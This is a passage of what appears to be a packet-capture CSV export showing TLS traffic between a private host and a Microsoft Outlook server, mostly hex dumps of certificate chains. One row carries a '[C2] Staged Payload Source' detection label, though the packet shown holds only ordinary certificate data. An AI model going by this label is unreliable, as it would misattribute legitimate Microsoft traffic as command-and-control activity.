00ee111689682a1c44d7b5660000019ccad73c9a000004030047304502203257bad935c1df986ebc85032551802d79f64f6a6fa9f0ec5d92673d60ee97ee022100970e8cebe1ec70c0e05931985d04b777ac758aa856ca79d8bb8d992ba25fc9d1301b06092b060104018237150a040e300c300a06082b06010505070301303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d81b5dd50859ffd750201640201213082010b06082b060105050701010481fe3081fb306106082b060105050730028655687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274306706082b06010505073002865b687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370301d0603551d0e04160414461f5602bafadb223a440b77af608f81362549c6300e0603551d0f0101ff0404030205a0303a0603551d11043330318216706c616365732e636c6f75642e6d6963726f736f667482176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674300c0603551d130101ff040230003081f10603551d1f0481e93081e63081e3a081e0a081dd866c687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c866d687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c30660603551d20045f305d3051060c2b0601040182374c837d01013041303f06082b060105050702011633687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f446f63732f5265706f7369746f72792e68746d3008060667810c010202301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f6530130603551d25040c300a06082b06010505070301300d06092a864886f70d01010c050003820201000b8233eaf48ac62dee66f91d7f48a957ca5b6d412250a456069217015644c86f70fb9f9ae036fac7747ac7012dba95edd6c66d5564fdd12f47eb3b458e96fad8538d06fce693def53d816cac1d3601dee05742355c51f4078d627f7b377d13679d43b8a4f4c437cccff470805732a3a1f64c291bf858b08977acb0be12a2978e14f920f7bdb00487c59ce8376acf1684faf32d4bd4d7b87ff369379f8651e5f44c238d5f001331fb01a3fd9d86fb29039037515862cabebd5b9aad5754d4637add547fb24136574594174dad714004b5e8a0211dcb39dc88de983d41ef2058ae557c918428e61c524669074034384927b909699c8a2fa6890ef813225a70a1e4cd50ad115decd7782e485fa2be0e7ef8e456c042bc0185da5fb76c0fd06bebb0d3b2a6e8c0a53498805a1633b351c7b1777b2fa9450972070f3e33392cc9f207a4a0a33c3258237ea4f5cdd07f4a21a82ac2e54372a0ef35d31eaeaae48e1e5f444afdc25dd40e2128bbee38d18a1db959cf53566019cb94dffbed27b156a0b72aa69d989c16362c955cba3c6568d58e41109697a28466395ba017b6a86d52aa456306fec524297cc9bc32838020522317072e66842207935d6ff9a74b27758d023a4d06844565547af323be12c096f1565665f1ba2da5416f336630318a57252082adf98074de885305f9a58256ed1a95f76efcd3ab7797fee7102ac556ea700007bc308207b8308205a0a0030201020213330000000b13e5667d4a9b558000000000000b300d06092a864886f70d01010c05003051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f74204732301e170d3235303830313230303235395a170d3239303630333230303235395a3057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f43535020303430820222300d06092a864886f70d01010105000382020f003082020a02820201009c3a24085a1892f29ed560cde2e6fb8047db44ae2bdd6d107021154529aad2c7dce6c442b1a08d52e04f5c395506364d17c1586634e285529fe2a4fec6dec2c23b86bfcaad872906eb1d491d5f81dbb7a4ac561ad61287fd5f4049e2a00c6a84c64e6fdf24b89a95745a597fade93c13157840ccecdaef88364a90deea630794c3836a1aae98e6f164805a296704e856f421a6c5468dc8dd02abbc06f06c477823bb38b0bbfb4d71b0df22c37f1a7ef99daa412ad1de68dd9574253866c91611c5593d2ab168b9933b66e83ce1fca7ff2c6b50e0c0b9c8717393b177bfedaa4d0e0a55db139c72e069ad814cda23f906cb3fed428a868c0dd20c1525d08668eb7856aa2e5c08b34d33804eee353c2fc37a7dc16672606890f4ebf608ec13d789925f5c52f4879578b136e1b342536e3a373707c873751ebb5d6e67c99a7ccb4af3c6cdf04ef586fb143519463d97867264dd4336efd4578200220ca33aedb3657065f982a5bab8d2eac0688a3537a040f5fe028966a830f89447625747b27b9b8cc795bceb9af6c68c4489db16e61efde789fc81353530ea2f7d896452b3461934e33b574f0a182031efc5fdb9b127f6975935fb0ac244d6d0b2ed554d1d57487512d7f29860169ec4069cd4ae7e2e65c753e422251830636a9057c594b4f7e54d4c0d54c71fa93d4d0a460962d0232251e38e374cc5f40140990582d3a2b0530203010001a38202813082027d300e0603551d0f0101ff040403020186301006092b06010401823715010403020100301d0603551d0e04160414540cbcec18f77df103e284be34644467cf751f6530130603551d20040c300a3008060667810c01020230130603551d2504,\".$.6\n..$.)....E.\n.^[@.@...(b.=\n.........e|...OP..?............f..j...7....zb..Q....3)....DOWNGRD. .+...@}<.....H...?.....H.b. .)gO.0........#.........h2.....................\tS0.\tO0..7.......C.\n..T..........\n..0\n.\t*.H..\n.....0W1.0\t..U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\n260308001703Z.\n270303001703Z0n1.0\t..U....US1.0\t..U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....outlook.cloud.microsoft0..\"\"0\n.\t*.H..\n..........0..\n......!.kYa..Ui........2.T..@.........3.9...8...p.r\t.'.1........?.>......v...8.......1.6..$2..aI..D..X..Ep!_.!)\"\".\nF..c.....M.._.0..5......[4...>...3.?..~.v.[.w...1I4J..y.\"\"..k.c.R60\"\"8>.`/......l1.?5J....a..{..{EoN..xW..k.&...&B..........$..^.#.&..yl.B.....F.P.sY.........0...0..~.\n+.....y......n...j.h.w.......S.jJ..WI.....,....d.............<......H0F.!..]..Z..a.k....P..]Y)>}.3..y?F..k.!..I...R......../.@}..sG.....fRG\t..u...h,...EiP.......2..L.....RJ..Y.......=b.....F0D. &.c......XlR....7v9HP.1.4r....{.. .............. ....F%..RP.6.r.Nq.v.D......d..J..\nZ..5.......h*.D..f......<......G0E. 2W..5...n...%Q.-y.Ojo...].g=`....!.......p..Y1.]..w.u..V.y....+._..0..\t+.....7.\n..0.0\n..+.......0<.\t+.....7.../0-.%+.....7.........F...........]...P...u..d..!0.....+..........0..0a..+.....0..Uhttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0g..+.....0..[http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0...U......F.V....\"\":D.w.`..6%I.0...U...........0:..U...301..places.cloud.microsoft..outlook.cloud.microsoft0...U.......0.0....U.....0..0.........lhttp://www.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl.mhttp://crl2.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl0f..U. ._0]0Q..+.....7L.}..0A0?..+........3http://www.microsoft.com/pkiops/Docs/Repository.htm0...g.....0...U.#..0...T.....}.....4dDg.u.e0...U.%..0\n..+.......0\n.\t*.H..\n............3....-.f...H.W.[mA\"\"P.V....VD.op....6..tz..-.....mUd../G.;E....S.......=.l..6...WB5\\Q...b.{7}.g.C....7...p.W2...L)..X..w......... ........7j.....-K.....i7..Q..L#._..1.......)..7QXb...[..WT.cz.T..A6WE..M.q@....!..9....=A. X.U|..(..RFi.@48I'.\ti../.....\"\"Zp...P..]..x.H_...~..V.B...._.l..k........4..Z.3.Q..w{/.E\tr..>39,......<2X#~.....J!.*..Cr..5......._DJ..]..!(..8....Y.SV`......'.V..*.....6,.\\.<eh..A.....f9[....mR.Ec...$)|..2.. R#...f.\"\"..]o..K'u..:M..EeTz.#.....VVe..-.Ao3f01.W% ....t..S....V....n...w....*.V.p...0...0..........3......f}J.U.......0\n.\t*.H..\n.....0Q1.0\t..U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20..\n250801200259Z.\n290603200259Z0W1.0\t..U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\"\"0\n.\t*.H..\n..........0..\n......:$.Z.....`.....G.D.+.m.p!.E)......B...R.O\\9U.6M..Xf4..R........;.....)...I._.....V....._@I...j..No.$...tZY...<..x@.....6J...c....j.....d.Z)g..V.!..F........lGx#.8...Mq..\"\"...~...A*..h..t%8f....Y=*.h..;f.<....,kP....qs..w...M.\nU...r.i..L.#...?.B...\n...%..h.xV..\\..M3.N.5</.z}.fr`h.........._\\R...x.6..BSn:77..su..]ng..|.J....N....5.F=..rd.C6..W..\"\"..:..epe........h.57.@....f.0..GbWG.{..........D..........550./}.dR.F.4.;WO\n. 1.....'..Y5.\n.D....UM.WHu....`.......~.e.S.\"\"%.0cj.W.....ML\nT...=M\nF\tb.#\"\"Q..7L...@......S.........0..}0...U...........0..\t+.....7.......0...U......T.....}.....4dDg.u.e0...U. ..0\n0...g.....0...U.%.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 24155, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62426, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259379580, \"\"ack\"\": 4093516367, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 59572, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"1603031fce0200006603036a2eb7d5371791b7d47a62c913518c0b19d43329ea0886ae444f574e4752440120a12b0000bc407d3cd59ce5061a48bab1b53f87b78287b948b0628920e029674fc03000001e000500000023000000100005000302683200170000ff01000100000000000b0016a80016a50009533082094f30820737a003020102021343000ab40354ebc89cc9d01f0f0000000ab403300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303330383030313730335a170d3237303330333030313730335a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313176f75746c6f6f6b2e636c6f75642e6d6963726f736f667430820122300d06092a864886f70d01010105000382010f003082010a0282010100e821db6b59618abe5569b6a1b4ca8b1386f9321454fb9b4090c7fc068f81121ff533fa390cec9038d2dacb70a372090e27cb318ec69c9ec39fdb9d3f853e8512abecd8f276d5de863889019c9c1480fe31153696aa2432d0056149aae544b5d558f1fb4570215fa7212922940a46bfd663c48c1fe5d74dddc85fcf30f419357fdfa8dfe9e55b34edf4fc3ecfc09333a53fbbc77eb676f55b0b7781d4f23149344a9db479cc221de86b86630452363022383e0b602fda16e4ba9bd96c31b63f354a02cb8ade61f5037bec9d7b456f4ee3fe785791eb6bd126e5d2ca26420398faa01ec0e8d8d88424f8d15e05238d26edb1796c9f42eaf598c82e46d650a973590203010001a38204fb308204f73082017e060a2b06010401d6790204020482016e0482016a0168007700d6d58da9d01753f36a4aa0c7574902afebc7dc2cd38cd9f764c80c89191e9f020000019ccad73c1e0000040300483046022100e55d982e5af07f61a26bc59c87aa509d9f5d59293e7da533c29e793f4686986b02210083499f8ed352d2c6ab8788b918cf2f82407da0077347df82a3c2a666524709a40075001c9f682ce9faf0456950f81b968a87dddb3210d84ce6c8b2e382524ac4cf599f0000019ccad73d62000004030046304402202698638e91ee1dbea8586c5217a7ead63776394850e131fc3472ae16c3b07b02022013e71c1e18cadeaaf40fb6bcd78420aaf1e0004625aad5525088368c72ab4e7100760044c2bd0ce9140e64a5c94a01930a5aa1bb35970e00ee111689682a1c44d7b5660000019ccad73c9a000004030047304502203257bad935c1df986ebc85032551802d79f64f6a6fa9f0ec5d92673d60ee97ee022100970e8cebe1ec70c0e05931985d04b777ac758aa856ca79d8bb8d992ba25fc9d1301b06092b060104018237150a040e300c300a06082b06010505070301303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d81b5dd50859ffd750201640201213082010b06082b060105050701010481fe3081fb306106082b060105050730028655687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274306706082b06010505073002865b687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370301d0603551d0e04160414461f5602bafadb223a440b77af608f81362549c6300e0603551d0f0101ff0404030205a0303a0603551d11043330318216706c616365732e636c6f75642e6d6963726f736f667482176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674300c0603551d130101ff040230003081f10603551d1f0481e93081e63081e3a081e0a081dd866c687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c866d687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c30660603551d20045f305d3051060c2b0601040182374c837d01013041303f06082b060105050702011633687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f446f63732f5265706f7369746f72792e68746d3008060667810c010202301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f6530130603551d25040c300a06082b06010505070301300d06092a864886f70d01010c050003820201000b8233eaf48ac62dee66f91d7f48a957ca5b6d412250a456069217015644c86f70fb9f9ae036fac7747ac7012dba95edd6c66d5564fdd12f47eb3b458e96fad8538d06fce693def53d816cac1d3601dee05742355c51f4078d627f7b377d13679d43b8a4f4c437cccff470805732a3a1f64c291bf858b08977acb0be12a2978e14f920f7bdb00487c59ce8376acf1684faf32d4bd4d7b87ff369379f8651e5f44c238d5f001331fb01a3fd9d86fb29039037515862cabebd5b9aad5754d4637add547fb24136574594174dad714004b5e8a0211dcb39dc88de983d41ef2058ae557c918428e61c524669074034384927b909699c8a2fa6890ef813225a70a1e4cd50ad115decd7782e485fa2be0e7ef8e456c042bc0185da5fb76c0fd06bebb0d3b2a6e8c0a53498805a1633b351c7b1777b2fa9450972070f3e33392cc9f207a4a0a33c3258237ea4f5cdd07f4a21a82ac2e54372a0ef35d31eaeaae48e1e5f444afdc25dd40e2128bbee38d18a1db959cf53566019cb94dffbed27b156a0b72aa69d989c16362c955cba3c6568d58e41109697a28466395ba017b6a86d52aa456306fec524297cc9bc32838020522317072e66842207935d6ff9a74b27758d023a4d06844565547af323be12c096f1565665f1ba2da5416f336630318a57252082adf98074de885305f9a58256ed1a95f76efcd3ab7797fee7102ac556ea700007bc308207b8308205a0a0030201020213330000000b13e5667d4a9b558000000000000b300d06092a864886f70d01010c05003051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f74204732301e170d3235303830313230303235395a170d3239303630333230303235395a3057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f43535020303430820222300d06092a864886f70d01010105000382020f003082020a02820201009c3a24085a1892f29ed560cde2e6fb8047db44ae2bdd6d107021154529aad2c7dce6c442b1a08d52e04f5c395506364d17c1586634e285529fe2a4fec6dec2c23b86bfcaad872906eb1d491d5f81dbb7a4ac561ad61287fd5f4049e2a00c6a84c64e6fdf24b89a95745a597fade93c13157840ccecdaef88364a90deea630794c3836a1aae98e6f164805a296704e856f421a6c5468dc8dd02abbc06f06c477823bb38b0bbfb4d71b0df22c37f1a7ef99daa412ad1de68dd9574253866c91611c5593d2ab168b9933b66e83ce1fca7ff2c6b50e0c0b9c8717393b177bfedaa4d0e0a55db139c72e069ad814cda23f906cb3fed428a868c0dd20c1525d08668eb7856aa2e5c08b34d33804eee353c2fc37a7dc16672606890f4ebf608ec13d789925f5c52f4879578b136e1b342536e3a373707c873751ebb5d6e67c99a7ccb4af3c6cdf04ef586fb143519463d97867264dd4336efd4578200220ca33aedb3657065f982a5bab8d2eac0688a3537a040f5fe028966a830f89447625747b27b9b8cc795bceb9af6c68c4489db16e61efde789fc81353530ea2f7d896452b3461934e33b574f0a182031efc5fdb9b127f6975935fb0ac244d6d0b2ed554d1d57487512d7f29860169ec4069cd4ae7e2e65c753e422251830636a9057c594b4f7e54d4c0d54c71fa93d4d0a460962d0232251e38e374cc5f40140990582d3a2b0530203010001a38202813082027d300e0603551d0f0101ff040403020186301006092b06010401823715010403020100301d0603551d0e04160414540cbcec18f77df103e284be34644467cf751f6530130603551d20040c300a3008060667810c01020230130603551d2504\"\"}}]\"\n2026-06-14 14:16:53.420768,93,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=4093516367 Ack=2259382996,bc24112907bbbc2411360d0c080045000028f1e7400080062da60a98980b2862103dfa0501bbf3fe1a4f86ab72d450100400cd030000,\".$.)...$.6\n...E..(..@...-.\n...(b.=.......O..r.P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61927, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11686, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516367, \"\"ack\"\": 2259382996, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 52483, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:53.449263,94,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=2259382996 Ack=4093516367,bc2411360d0cbc24112907bb080045000f685e5e40004006f1ef2862103d0a98980b01bbfa0586ab72d4f3fe1a4f5018003fea9c00000c300a06082b06010505070301301906092b0601040182371402040c1e0a0053007500620043004130120603551d130101ff040830060101ff020100301f0603551d23041830168014de918648b7a1315931f14b5f07a9dc8879daa8763081ab0603551d1f0481a33081a030819da0819aa081978649687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c864a687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c3082011006082b06010505070101048201023081ff306306082b060105050730028657687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274306906082b06010505073002865d687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370300d06092a864886f70d01010c050003820201007c4871c2b6c045ab740fc63f49e2fc0fd675fdcd50d1e04bb3b3d1a8995ffe5d350d6c0bddd0ad6160188938e2f0b735d2b5213a0c0e5899387cd4d7dd024dd4dcf5ee90e37b6793a8acd41b50bbc54fe6d3f1b51ef0ff99bc2333b0c8a8a627d6d15bed6f14de4b071a0c50fd0edfbeeb4fb29810cb222ae61dd74ba7ae15d10136090b86434f4ee7c57e5ca36b832e493e9488998b52d3963f7198242f3782fa6c74f2bcdb0621bbb85067702415b60b228ff7b927e4037c8495b76604a99255c2bd11c7210a727f65c060a65049e9f62348203a8e9226a8178c98af14a73dce4cadc08e8c3c44f17ffb13f914d77b333d105e64e7273d0c4ce271d766ceaef74eb664ba542bb7fd03d798679837b20a6320e5b0fbd8a48d3a2e42229a22f42655833015c7a242b3bfd036c53652a773677a736e54acbce989d8a5eb1f6dac2750c4c8ebd41c54294dbbb6deabd7c7f11f1464ba7f473165ef797d14c4f019e48076e73b28009b446f2457f507dc8e5ab400589756b10bfa087571de1b53c8eebdf0ab224cbd6bba5d8a44593c246baabce97d8b5f4a4dd78c54b0ab769b80284d457465106021f98e795fda92fb178400dbc4ae8259813c27779e56f707c8bdbe3d91c5978ae69c0f591658486c7da41632ed16c92da796f5e4fdc5cf65a4ddd700e8c90ef49db2a40280cc1bf028ebb03177349ec3ccd7c89b36bbc525e200058d3082058930820471a00302010202100b0c6b2c466917b04773c647d4afc0c8300d06092a864886f70d01010c05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3235303532313030303030305a170d3239303631393233353935395a3051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f7420473230820222300d06092a864886f70d01010105000382020f003082020a0282020100dfea8b9f47e1281071af41d619db9257de6babe62edead3a6083b71398ac5bb9320b7beb9f72276b5d40abbe180693b20dd212edb874f57f2feaa81794f63316578ade207c21ddb7daacde4e64b05acd4b75f3ef02644ded52daa38f04e891f8d7fb3f19fd4e45395ee829c3d6f267afb30094c18de1f04a189839fac009843341050305abf475e153a521925c444ce66057a4900297c7d5d89304324aed8551edd6c5baa03f368a2f6f4c39a8046922843b7514f7d93eb4a9d0074138817e46481de819e670b8a0aa18dd72bf7e7db56c4e19701184041381d462fd9c6bf11cddffeca7e0e6c78d314bbff26b33ccd18cb6feb11ba34aa85f0e7f3176383f07476c01a8aca514da82b05f1f6cbc891ac0122acb7b971f282e31168a534c7566f97d01d6c260aa658f319e72cbcc9b2de544199357ab6e8ec2d92e65b0722de7a1c3a17e491d5967d609d418126dc0954578c9f1606ae4f6ee06243b734a5a11c23e9761c078eeef13a730e24a382dee58171320b7362adf0b32b4c238b191dd12b045b67cc0b11d62a19ddd71121596019d0a09f5b1ddb3d9e0384234f669b6c3af1673fed443f843e458f94fb3f3ecd63d943a403815ab0c86d064ce1a63e8849455095ab604b6d13e9a15c7641180d01b820e4dff459eb26507251fdb9ac8c6ecd65b8550049f1ccb5d2082679e79e2dfe8f2e86fc420723086e59d7527350203010001a382014b30820147300f0603551d130101ff040530030101ff301d0603551d0e04160414de918648b7a1315931f14b5f07a9dc8879daa876301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070301307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c30130603551d20040c300a3008060667810c010202300d06092a864886f70d01010c050003820101000bbcb42b3774c54ba7360236c6afe113cc8a9a971bfce3448cee5400e5e4411a46f00b7634ff99556235aaad8a9c0c5a62cc43c0cbea4a1dbd6b1dafb11925669cf7796e5b2580248185c7792d355f420978ed9fe265d5c4205082108f6a3aed188e4889aba609f8e180fc06751627255a8fb83a706c1847f063f4530ed9153520f3913d1301a0e2fa2408455677d167a93142d057ff1a26bec543d857a963ffaff33ad8f67b4b10a297a1cf66be676709f9b54ce7ab192bbf223d7ddec6f7ef63382cdd56c4f90952dadfe3886fd56d6bf708412f8e3e86319ff17c4af5d661a4464628ef57bab06f92d8d27725ed7ba629ce3b727911d4e0a7546d352ba47a160007430100073f3082073b0a0100a08207343082073006092b0601050507300101048207213082071d3081c5a2160414ce45ae5dc399c474b31f7881210e6548c1d1965a180f32303236303631333134343735335a308199308196304c300906052b0e03021a050004141580966a099dcdaf6d8948b10b78dc4bff67de570414540cbcec18f77df103e284be34644467cf751f65021343000ab40354ebc89cc9d01f0f0000000ab4038000180f32303236303631333134313330395aa011180f32303236303632313134333330395aa120301e301c06092b0601040182371504040f170d3236303631373134323330395a300d06092a864886f70d01010b050003820101007c24f75d6b49ab57adbf65dc9bda9a05dda5a31c60d3c6e038ff6c5199c088b3eb23eee8cd3ac9830d440391914ccd60ce10b55f69e0f34dcb71063b8ace672abe66ba820fc6288361dbb99055ab24b4bd7c50f26fb41e9dc18d3474724767f3a461dfb030f1e166f602c332888fa601a663672f535fa8ba06acfb11283ca3718e90024fdc7aa636258390dae1519b617219c7a95824a14f029ba4aee90fa436124eeeaada79fefcc1f297ad003f4d77d30fc16254085a69faf2b48a32f20333f36785d55a3a1362d8fd46ddf1fd59652431d8881ca9ae8a95ee125900676033744f3eac4b5266b683544fcacf9335e75a05d2f22d64fec1902ae9f1f45c1122a082053d30820539308205353082031da0030201020213430059494b100d6b7728df5dec00000059494b300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303631323135353032325a170d3236303731323135353032325a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e06035504031317544c532d47322d5253412d3034204f435350204365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100bb7e6bd0af4f91895db07552c1701ea2368b9f2a3956022b65e14ca2ab0c8edae05166257b5c2ebf025ec8f973c1fe86757c7ab080663aff1a4ae8e9b5d3ae7f8b3ffdd7f8557580fefc735de7f5d99bd469cde645c723e1abe456d21e67abe101d2ecacfc68ab2ecf66c20351f0c329cfcd795a9db73bf40cffd8ced2e32c135981e5145b9e3cc5ea3551ce939e1f4cbc6484939e91cc933b2c69b48b500f849850e310bd35b0a58777bf154725c1fe74a442958acb15ca3bc565f918ebdfd9c2b61e61921d795a668751b6eb2b6c562cb04ee807c62ca0443b2d9cae789cff9643143b88d8aa4150c3fee0051db349ab13ad6b04a5b5e495627658f97776910203010001a381e23081df300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070309301d0603551d0e04160414ce45ae5dc399c474b31f7881210e6548c1d1965a301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f65300e0603551d0f0101ff040403020780303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d83d9d72281f4de1f020164020118301b06092b060104018237150a040e300c300a06082b06010505070309300f06092b060105050730010504020500300d06092a864886f70d01010c050003820201004f8590715271e017448e55f40f65c8a16c8f838558c891da43681236e10bd222fa0d81a6784d26c970867ce24d94af2eadcb367175b3,\".0\n..+.......0..\t+.....7.....\n.S.u.b.C.A0...U.......0.......0...U.#..0......H..1Y1.K_....y..v0....U.....0..0.........Ihttp://www.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl.Jhttp://crl2.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl0.....+...........0..0c..+.....0..Whttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0i..+.....0..]http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0\n.\t*.H..\n..........|Hq...E.t..?I....u..P..K....._.]5\nl....a`..8...5..!:..X.8|....M......{g.....P..O.........#3....'..[.o..K...P.....O....\"\"*...K.....6\t..CON..~\\.k